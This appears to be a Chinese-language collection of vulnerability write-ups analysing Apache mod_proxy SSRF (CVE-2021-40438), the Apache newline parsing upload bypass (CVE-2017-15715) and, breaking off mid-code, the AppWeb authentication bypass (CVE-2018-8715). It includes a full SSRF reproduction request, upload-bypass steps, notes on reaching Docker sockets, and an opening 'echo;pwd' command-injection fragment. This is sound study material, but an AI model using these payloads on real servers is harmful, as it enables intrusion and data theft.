Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 8

echo;pwd

Apache HTTP Server 2.4.48 mod_proxy SSRF (CVE-2021-40438)

Apache Module综述

如果我们要部署一个PHP运行环境,且将Apache作为Web应用服务器,那么常用的有三种方法:

1
2
3
- Apache以CGI的形式运行PHP脚本
- PHP以mod_php的方式作为Apache的一个模块运行
- PHP以FPM的方式运行为独立服务,Apache使用mod_proxy_fcgi模块作为反代服务器将请求代理给PHP-FPM

第一种方式比较古老,性能较差,基本已经淘汰;第二种方式在Apache环境下使用较广,配置最为简单;第三种方法也有较大用户体量,不过Apache仅作为一个中间的反代服务器,更多新的用户会选择使用性能更好的Nginx替代。

这其中,第三种方法使用的mod_proxy_fcgi就是本文主角mod_proxy模块的一个子模块。mod_proxy是Apache服务器中用于反代后端服务的一个模块,而它拥有数个不同功能的子模块,分别用于支持不同通信协议的后端,比如常见的有:

1
2
3
4
5
- mod_proxy_fcgi 用于反代后端是fastcgi协议的服务,比如php-fpm
- mod_proxy_http 用于反代后端是http、https协议的服务
- mod_proxy_uwsgi 用于反代后端是uwsgi协议的服务,主要针对uWSGI
- mod_proxy_ajp 用于反代后端是ajp协议的服务,主要针对Tomcat
- mod_proxy_ftp 用于反代后端是ftp协议的服务

除去mod_proxy_fcgi用于反代PHP,我们在使用Node.js、Python等脚本语言编写的应用也常常会使用mod_proxy_http作为一层反代服务器,这样中间层可以做ACL、静态文件服务等。

这次的SSRF漏洞是出在mod_proxy这个模块中的,我们就来从代码的层面分析一下它的原理是什么,究竟影响有多大。

漏洞原理分析

Building a POC for CVE-2021-40438》这篇文章中提到了这个漏洞的复现方法:当目标环境使用了mod_proxy做反向代理,比如ProxyPass / "http://localhost:8000/",此时通过请求http://target/?unix:{'A'*5000}|http://example.com/即可向http://example.com发送请求,造成一个SSRF攻击。

这里面,Apache代码中犯得错误是在modules/proxy/proxy_util.c的fix_uds_filename函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
* In the case of the reverse proxy, we need to see if we
* were passed a UDS url (eg: from mod_proxy) and adjust uds_path
* as required.
*/
static void fix_uds_filename(request_rec *r, char **url)
{
char *ptr, *ptr2;
if (!r || !r->filename) return;

if (!strncmp(r->filename, "proxy:", 6) &&
(ptr2 = ap_strcasestr(r->filename, "unix:")) &&
(ptr = ap_strchr(ptr2, '|'))) {
apr_uri_t urisock;
apr_status_t rv;
*ptr = '\0';
rv = apr_uri_parse(r->pool, ptr2, &urisock);
if (rv == APR_SUCCESS) {
char *rurl = ptr+1;
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
*url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
/* r->filename starts w/ "proxy:", so add after that */
memmove(r->filename+6, rurl, strlen(rurl)+1);
ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
"*: rewrite of url due to UDS(%s): %s (%s)",
sockpath, *url, r->filename);
}
else {
*ptr = '|';
}
}
}

Apache在配置反代的后端服务器时,有两种情况:

  • 直接使用某个协议反代到某个IP和端口,比如ProxyPass / "http://localhost:8080"
  • 使用某个协议反代到unix套接字,比如ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"

第一种情况比较好理解,第二种情况的设计我觉得不是很好,相当于让用户可以使用一个Apache自创的写法来配置后端地址。那么这时候就会涉及到parse的过程,需要将这种自创的语法转换成能兼容正常socket连接的结构,而fix_uds_filename函数就是做这个事情的。

使用字符串文法来表示多种含义的方式通常暗藏一些漏洞,比如这里,进入这个if语句需要满足三个条件:

  • r->filename的前6个字符等于proxy:
  • r->filename的字符串中含有关键字unix:
  • unix:关键字后的部分含有字符|

当满足这三个条件后,将unix:后面的内容进行解析,设置成uds_path的值;将字符|后面的内容,设置成rurl的值。

举个例子,前面介绍中的ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/",在解析完成后,uds_path的值等于/var/run/www.sockrurl的值等于http://localhost:8080/

看到这里其实都没有什么问题,那么我们肯定会思考,r->filename是从哪来的,用户可控吗,为什么?

这时就要说到另一个函数,proxy_hook_canon_handler,这个函数用于注册canon handler,比如:

image-20211220191218659

可以看到,每一个mod_proxy_xxx都会注册一个自己的canon handler,canon handler会在反代的时候被调用,用于告诉Apache主程序它应该把这个请求交给哪个处理方法来处理。

比如,我们看到mod_proxy_httpproxy_http_canon函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static int proxy_http_canon(request_rec *r, char *url)
{
// ...
// first part
if (strncasecmp(url, "http:", 5) == 0) {
url += 5;
scheme = "http";
}
else if (strncasecmp(url, "https:", 6) == 0) {
url += 6;
scheme = "https";
}
else {
return DECLINED;
}
port = def_port = ap_proxy_port_of_scheme(scheme);

// second part
ap_proxy_canon_netloc(r->pool, &url, NULL, NULL, &host, &port);
switch (r->proxyreq) {
default: /* wtf are we doing here? */
case PROXYREQ_REVERSE:
if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url),
enc_path, 0, r->proxyreq);
search = r->args;
}
break;
case PROXYREQ_PROXY:
path = url;
break;
}

if (path == NULL)
return HTTP_BAD_REQUEST;

if (port != def_port)
apr_snprintf(sport, sizeof(sport), ":%d", port);
else
sport[0] = '\0';

if (ap_strchr_c(host, ':')) { /* if literal IPv6 address */
host = apr_pstrcat(r->pool, "[", host, "]", NULL);
}

// fourth part
r->filename = apr_pstrcat(r->pool, "proxy:", scheme, "://", host, sport,
"/", path, (search) ? "?" : "", (search) ? search : "", NULL);
return OK;
}

这个函数中有三个主要的部分,第一部分检查了配置中的url的开头是不是http:https:,如果不是,说明这个请求不该由mod_proxy_http模块处理,后续的过程跳过;第二部分,用各种方式获取到scheme、host、port、path、search等几个URL的组成变量;第三部分,拼接proxy:、scheme、://、host、sport、/、path、search,成为一个字符串,赋值给r->filename

这里面,scheme、host、sport来自于配置文件中配置的ProxyPass,而path、search来自于用户发送的数据包。也就是说,r->filename中的后半部分是用户可控的。

那我们回看前面的fix_uds_filename函数,它在r->filename中查找关键字unix:,并将这个关键字后面直到|的部分作为unix套接字地址,而将|后面的部分作为反代的后端地址。

我们可以通过请求的path或者search来控制这两个部分,控制了反代的后端地址,这也就是为什么这里会出现SSRF的原因。

限制绕过

当然,这里面有一个问题,那就是Apache在正常情况下,因为识别到了unix套接字,所以会把用户请求发送给这个本地文件套接字,而不是后端URL。

可以来做个测试,我们发送这样一个请求:

1
2
GET /?unix:/var/run/test.sock|http://example.com/ HTTP/1.1
...

此时会得到一个503错误,错误日志会反馈这样的结果:

1
2
[Mon Oct 18 00:14:38.634795 2021] [proxy:error] [pid 782180:tid 140737306797824] (2)No such file or directory: AH02454: HTTP: attempt to connect to Unix domain socket /var/run/test.sock (192.168.1.1) failed
[Mon Oct 18 00:14:38.634875 2021] [proxy_http:error] [pid 782180:tid 140737306797824] [client 192.168.1.142:59696] AH01114: HTTP: failed to make connection to backend: httpd-UDS

找不到unix套接字/var/run/test.sock,这是当然。

我们不能让他把请求发送到unix套接字上,而是发送给我们需要的|后面的地址。

国外那位作者给出了一个非常巧妙的方法,在fix_uds_filename函数中,unix套接字的地址来自于下面这两行代码:

1
2
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);

如果这里ap_runtime_dir_relative函数返回值是null,则后面获取uds_path时将不会使用unix套接字地址,而变成普通的TCP连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
if (uds_path) {
if (conn->uds_path == NULL) {
/* use (*conn)->pool instead of worker->cp->pool to match lifetime */
conn->uds_path = apr_pstrdup(conn->pool, uds_path);
}
// ...
conn->hostname = "httpd-UDS";
conn->port = 0;
}
else {
// ...
conn->hostname = apr_pstrdup(conn->pool, uri->hostname);
conn->port = uri->port;
// ...
}

那么如何让ap_runtime_dir_relative的返回值是null?ap_runtime_dir_relative函数最后引用了apr库中的apr_filepath_merge函数,它的主要作用就是路径的join,用于处理相对路径、绝对路径、../连接。

这个函数中,当待join的两段路径长度+4大于APR_PATH_MAX,也就是4096的时候,则函数会返回一个路径过长的状态码,导致最后unix套接字的值是null:

1
2
3
4
5
6
7
rootlen = strlen(rootpath);
maxlen = rootlen + strlen(addpath) + 4; /* 4 for slashes at start, after
* root, and at end, plus trailing
* null */
if (maxlen > APR_PATH_MAX) {
return APR_ENAMETOOLONG;
}

也就是说,我们只需要在unix:|之间传入内容长度大概超过4092的字符串,就能构造出uds_path为null的结果,让Apache不再发送请求给unix套接字。

最后,这样构造出的请求成功触发SSRF漏洞:

image-20211220191302286

Apache官方对这个漏洞的修复也比较简单,因为用户只能控制r->filename的后半部分,而前半部分proxy:{scheme}://{host}{sport}/来自于配置文件,所以最新版改成检查其开头是不是proxy:unix:,这一部分用户无法控制。

mod_proxy_fcgi是否存在漏洞?

我们前文都以mod_proxy_http作为例子来研究,而在Apache+PHP环境下,mod_proxy_fcgi的使用频率更高,那么它是否也会被SSRF漏洞影响呢?

这个漏洞出现在modules/proxy/proxy_util.c的fix_uds_filename函数,理论上是mod_proxy的漏洞,那么它的子模块应该都会被影响,但这个漏洞中有一个很关键的变量是r->filename,他是否可控决定了后面的利用是否可以成功。

我们看一下mod_proxy_fcgi的canon函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static int proxy_fcgi_canon(request_rec *r, char *url)
{
char *host, sport[7];
const char *err;
char *path;
apr_port_t port, def_port;
fcgi_req_config_t *rconf = NULL;
const char *pathinfo_type = NULL;

if (ap_cstr_casecmpn(url, "fcgi:", 5) == 0) {
url += 5;
}
else {
return DECLINED;
}

// ...

if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url), enc_path, 0,
r->proxyreq);
}
if (path == NULL)
return HTTP_BAD_REQUEST;

r->filename = apr_pstrcat(r->pool, "proxy:fcgi://", host, sport, "/",
path, NULL);
// ...
}

可见,这里的r->filename等于proxy:fcgi://{host}{sport}/{path},相比于mod_proxy_http少了search。不过,path仍然是用户可以控制的,我们可以尝试发送这样的数据包:

1
2
GET /unix:testtest|http://example.com/1.php HTTP/1.1
...

经过调试可见,path中的|ap_proxy_canonenc函数编码成了%7C:

image-20211220191324893

没有|,后面也就无法完成SSRF利用了。

哪些模块受到影响

那么,我们其实可以认为,如果r->filename有部分可控,且可控的部分没有被编码(不是path),这个模块就会受到SSRF漏洞的影响。

对这个结论我没有逐一测试考证,我仅挑选另一个较为常用的模块mod_proxy_ajp来复现漏洞。

mod_proxy_ajp是用于反代Tomcat的一个Apache模块,Tomcat在8.5.51版本以前默认会开启两个端口8080和8009,分别对应HTTP协议和AJP协议。HTTP协议好理解,AJP协议是一个二进制协议,通信协议相比起来效率更高。所以以前很多运维人员会将Tomcat假设在Apache之后,然后二者之间使用AJP协议通信。

Tomcat 8.5.51之后的版本受到Ghostcat漏洞影响不再默认开放8009端口。

Apache下有两个模块能实现AJP的反代通信:

  • mod_proxy_ajp 这就是mod_proxy的一个子模块,由Apache HTTPd官方维护
  • mod_jk 这是Tomcat官方维护的一个Apache模块,更加出名用户也更多

由于mod_jk不是用mod_proxy的代码,所以不受到影响,我们今天仅测试mod_proxy_ajp。

简单部署一个开放8009端口的Tomcat服务器,并配置好mod_proxy_ajp进行调试,可见其proxy_ajp_canon函数r->filename中是包含search的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int proxy_ajp_canon(request_rec *r, char *url)
{
char *host, *path, sport[7];
char *search = NULL;
const char *err;
apr_port_t port, def_port;

/* ap_port_of_scheme() */
if (strncasecmp(url, "ajp:", 4) == 0) {
url += 4;
}
else {
return DECLINED;
}

// ...
r->filename = apr_pstrcat(r->pool, "proxy:ajp://", host, sport,
"/", path, (search) ? "?" : "",
(search) ? search : "", NULL);
return OK;
}

那么按照我们的预测,这里也会存在SSRF漏洞。果然测试成功:

image-20211220191340171

那么,mod_proxy_http2、mod_proxy_balancer、mod_proxy_wstunnel等这些模块也会受到影响,而mod_proxy_uwsgi、mod_proxy_scgi等模块不受影响。我没有严格验证,有兴趣的同学可以自己下去调试一下,也许还能找到绕过方法。

几个常见问题和总结

一个大家问的比较多的问题:这个SSRF漏洞是否能够POST?答案是肯定的,理解了原理的同学肯定能明白,我们实际上是控制了反向代理的目标服务器地址。既然是反向代理,那么实际上用户请求的大部分原始数据都会被直接转发给后端,所以,我们只需要发送POST请求,即可让执行POST的SSRF,比如:

image-20211220191357463

另一个,这个SSRF漏洞是否可以打本地的unix socket?答案是肯定的。原本这个漏洞的第一请求目标就是本地的unix套接字,我们使用4092个超长search绕过了这个限制让他可以打任意远程地址,只要让它回归原本的方法就可以打本地的unix套接字了:

image-20211220191415920

打本地unix套接字的好处是可以攻击类似于Docker、Supervisor这样的本地服务。

最后一个问题,这个SSRF漏洞是否可以攻击一些非HTTP协议的服务?答案也是肯定的。TCP是一个数据流,即使我们打出的数据包前面有HTTP头,这并不影响后续正常的满足二进制协议的数据流的发送与接收。不过有一个例外情况,如果目标服务有一些特殊的操作,类似于高版本redis读取到一些特殊的HTTP数据段就断开TCP连接这样的操作,那么可能需要进行一些额外绕过了。

总结一下,这个SSRF漏洞的本质是Apache在解析反代服务URL的时候,由于对unix:位置要求不严格,导致用户的输入可以控制反代的逻辑,最终导致反代URL被控制,造成SSRF漏洞。

漏洞复现

打开看一下

image-20211108093242164

直接抓包,然后添数据

1
2
3
4
5
6
7
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

image-20211108093216703

完成

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

漏洞简介

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

漏洞原理

其中指定的表达式可以将“ $”与恶意文件名中的换行符匹配,而不是仅匹配文件名的末尾。

表示配置匹配后缀名文件的防盗链,而这个解析漏洞根本原因就是$ 这个符号,这个符号在正则表达式中是匹配字符串中结尾的位置,也就是说可以利用换行符使$ 与其匹配从而绕过黑名单机制实现文件上传,验证逻辑又是先会对上传的文件正则匹配验证后缀名是否包含了php,因为解析漏洞的存在,这里不会过滤php%0a,后续的黑名单机制也就如同摆设了

再解释一下

在该版本的配置中

1
2
3
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

该部分内容就是只有匹配上面的正则表达式就可以进行绕过
使用我们在看一看正则表达式中$的意思

匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 $。

所以如果设置RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符(也就是%0a)

img

影响范围

2.4.0~2.4.29

漏洞复现

打开直接上传php文件是这样的

image-20211107111023623

那直接该呗

image-20211107111154061

或者这样,直接插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

image-20211107111416766

然后访问上传的文件名+%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

image-20211107111901440

AppWeb 认证绕过漏洞(CVE-2018-8715)

Appweb简介

Appweb是一个HTTP Web服务器。这是直接集成到客 户的应用和设备,便于开发和部署基于Web的应用程序和设备。

AppWeb可以进行认证配置,其认证方式包括以下三种:

1
2
3
basic 传统HTTP基础认证
digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
form 表单认证

漏洞描述

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功, 并返回session。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
14560 {
14561 HttpAuth *auth;
14562 cchar *username, *password;
14563
14564 assert(conn);
14565 assert(route);
14566
14567 auth = route->auth;
14568 if (!auth || !auth->type) {
14569 /* Authentication not required */
14570 return HTTP_ROUTE_OK;
14571 }
14572 if (!httpIsAuthenticated(conn)) {
14573 httpGetCredentials(conn, &username, &password);
14574 if (!httpLogin(conn, username, password)) {
14575 if (!conn->tx->finalized) {
14576 if (auth && auth->type) {
14577 (auth->type->askLogin)(conn);
14578 } else {
14579 httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required");
14580 }
14581 /* Request has been denied and a response generated. So OK to accept this route. */
14582 }
14583 return HTTP_ROUTE_OK;
14584 }
14585 }
14586 if (!httpCanUser(conn, NULL)) {
14587 httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'");
14588 if (!conn->tx->finalized) {
14589 httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access.");
14590 /* Request has been denied and a response generated. So OK to accept this route. */
14591 }
14592 }
14593 /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */
14594 return HTTP_ROUTE_OK;
14595 }

文件http / httpLib.c - 函数httpGetCredentials()

此函数接收两个指向char数组的指针,这些指针将包含从请求中解析的用户名和密码。由于authCondition中没有检查,因此“parseAuth”函数失败并不重要,这意味着我们可以在WWW-Authenticate标头或post数据中插入我们想要的任何字段进行身份验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the
1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse.
1643 Otherwise, it is expected that "username" and "password" fields are present in the request parameters.
1644
1645 This is called by authCondition which thereafter calls httpLogin
1646 */
1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password)
1648 {
1649 HttpAuth *auth;
1650
1651 assert(username);
1652 assert(password);
1653 *username = *password = NULL;
1654
1655 auth = conn->rx->route->auth;
1656 if (!auth || !auth->type) {
1657 return 0;
1658 }
1659 if (auth->type) {
1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) {
1661 if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) {
1662 /* If a posted form authentication, ignore any basic|digest details in request */
1663 return 0;
1664 }
1665 }
1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) {
1667 return 0;
1668 }
1669 } else {
1670 *username = httpGetParam(conn, "username", 0);
1671 *password = httpGetParam(conn, "password", 0);
1672 }
1673 return 1;
1674 }

文件http / httpLib.c –函数httpLogin()

此函数将检查用户名是否不为null,如果已经存在会话,则密码指针可以改为null。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password)
1687 {
1688 HttpRx *rx;
1689 HttpAuth *auth;
1690 HttpSession *session;
1691 HttpVerifyUser verifyUser;
1692
1693 rx = conn->rx;
1694 auth = rx->route->auth;
1695 if (!username || !*username) {
1696 httpTrace(conn, "auth.login.error", "error", "msg:'missing username'");
1697 return 0;
1698 }
1699 if (!auth->store) {
1700 mprLog("error http auth", 0, "No AuthStore defined");
1701 return 0;
1702 }
1703 if ((verifyUser = auth->verifyUser) == 0) {
1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) {
1705 verifyUser = auth->store->verifyUser;
1706 }
1707 }
1708 if (!verifyUser) {
1709 mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern);
1710 return 0;
1711 }
1712 if (auth->username && *auth->username) {
1713 /* If using auto-login, replace the username */
1714 username = auth->username;
1715 password = 0;
1716 }
1717 if (!(verifyUser)(conn, username, password)) {
1718 return 0;
1719 }
1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) {
1721 if ((session = httpCreateSession(conn)) == 0) {
1722 /* Too many sessions */
1723 return 0;
1724 }
1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username);
1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip);
1727 }
1728 rx->authenticated = 1;
1729 rx->authenticateProbed = 1;
1730 conn->username = sclone(username);
1731 conn->encoded = 0;
1732 return 1;
1733 }
<em>File http/httpLib.c – function configVerfiyUser()</em>
The following function will first check for the presence of a valid user, either because it was already set in the session, or because it was passed, since we are able to pass a null password (line 2031), we can bypass the actual checks and successfully authenticate reaching line 2055.
2014 /*
2015 Verify the user password for the "config" store based on the users defined via configuration directives.
2016 Password may be NULL only if using auto-login.
